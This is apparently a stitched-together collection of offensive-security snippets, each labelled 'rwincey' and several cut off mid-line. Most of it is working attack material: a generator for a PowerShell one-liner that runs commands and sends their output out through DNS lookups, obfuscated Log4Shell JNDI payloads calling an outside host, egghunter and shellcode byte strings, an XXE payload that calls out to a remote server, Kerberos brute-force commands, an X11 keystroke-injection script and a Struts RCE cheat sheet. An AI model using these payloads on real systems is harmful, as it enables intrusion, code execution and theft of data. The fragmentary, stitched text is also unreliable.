rwincey

// White Knight Labs - Offensive Development Course
// Guardrails - Control Flow & Anti-Debugging 

#include <windows.h>
#include <iostream>

// Test function to be called when an access violation occurs
void TestFunction() {
    std::cout << "Test function executed after catching access violation." << std::endl;
}

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import subprocess
import base64
import gzip
import urllib.parse
import argparse

def gen_cmd(cmd_str):

    inner_powershell_cmd = '''$i="";$n=((1..2 |%%{'{0:X}' -f (Get-Random -Max 16)}) -join '');((iex "cmd /c %s") -join "`r`n").ToCharArray()|%%{$i+=[String]::Format("{0:X2}",[Convert]::ToUInt32($_[0]))};$m=0;for($j=0;$j -lt $i.Length; $j+=60){$l='';if($j+60 -lt $i.Length){$l=($i.substring($j, 60))}else{$l=($i.substring($j))}$l+="."+$m+"."+$n+".m.1m.ms"; nslookup "$l";$m+=1};$g="_._."+$n+".m.1m.ms"; nslookup "$g"''' % cmd_str
    #print(inner_powershell_cmd)

rwincey

frs/admin/qrs.php
__admin
__cache/
__index.php
__MACOSX
__pma___
__SQL
__test.php
_.htpasswd
_adm

rwincey

${jndi:ldap://127.0.0.1:1389/ badClassName} 
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://l4j.zsec.uk/sploit} 
${${::-j}ndi:rmi://l4j.zsec.uk/sploit} 
${jndi:rmi://l4j.zsec.uk}
${${lower:jndi}:${lower:rmi}://l4j.zsec.uk/sploit} 
${${lower:${lower:jndi}}:${lower:rmi}://l4j.zsec.uk/sploit} 
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://l4j.zsec.uk/sploit} 
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://l4j.zsec.uk/sploit}

rwincey

egghunter = "I\xbe\x08\x94\x1c\x80\x01\x00\x00\x00H\xc7\xc1\x00\x11\x00\x00A\xff\x96\xd8\x0c\x00\x00H\x05\x00\x0f\x00\x00H\x8d\xa8\x00\x01\x00\x00H\x89\xc4H\x83\xecPH\xb92\xbb=\x80\x01\x00\x00\x00A\xff\x16I\x89\xc5H\x89\xc1A\xffV0H\x89\xc6H1\xdbH\x01\xdeL\x89\xe9H\x8d\x15\x02\x00\x00\x00\xeb\rVirtualQuery\x00A\xff\x96\x88\x01\x00\x00H\x89\xf1H\x89\xeaI\xc7\xc0\x00\x01\x00\x00\xff\xd0\x8b]\x18H\x8bu\x00\x8bE \xa9\x00 \x01\x00u\xbd\x8bE(\xa9\x00\x00\x02\x00t\xb3\x8bE$\xa9\x01\x00\x00\x00u\xa9L\x8d\x0c\x1eH\x8b\x06H=\xef\xbe7\x13t\x0bH\x83\xc6\x08L9\xceu\xec\xeb\x8fI\x89\xf1H\x83\xc6\x08H\x89\xf1H\xc7\xc2\x00P\x00\x00I\xc7\xc0@\x00\x00\x00H\x8d\x1d'\xff\xff\xff\xffS\xf8\xff\xe6"

buf =  ""
buf += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += "\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += "\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += "\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += "\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += "\x41\x51\x

rwincey

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

rwincey

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

rwincey

#!/usr/bin/python 
"""
Python script to connect to an abstract unix socket created by X11 and send arbitrary key-strokes.
Created by: etienne@sensepost.com
Credits to: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/x11/x11_keyboard_exec.rb
            Borrowed heavily from the original metasploit module. Thanks!
"""

from socket import *
import subprocess

rwincey

# Gawk version
# Remote
grep -v "rem_address" /proc/net/tcp  | awk  '{x=strtonum("0x"substr($3,index($3,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($3,i,2))}{print x":"strtonum("0x"substr($3,index($3,":")+1,4))}'

# Local
grep -v "rem_address" /proc/net/tcp | awk  '{x=strtonum("0x"substr($2,index($2,":")-2,2)); for (i=5; i>0; i-=2) x = x"."strtonum("0x"substr($2,i,2))}{print x":"strtonum("0x"substr($2,index($2,":")+1,4))}'

# No Gawk
# Local
grep -v "rem_address" /proc/net/tcp  | awk 'function hextodec(str,ret,n,i,k,c){

rwincey

Apache Struts Remote Code Execution cheatsheet

Apacje Struts is a open source framework utilizing JavaEE web applications and encouraging to employ MVC (Model View Controller) architecture. When having the application developed in so-called devMode as set in the struts.xml file:

<constant name="struts.devMode" value="true" />

Then the middleware will be handling additional parameters passed to every function invocation.

Testing for Struts devMode enabled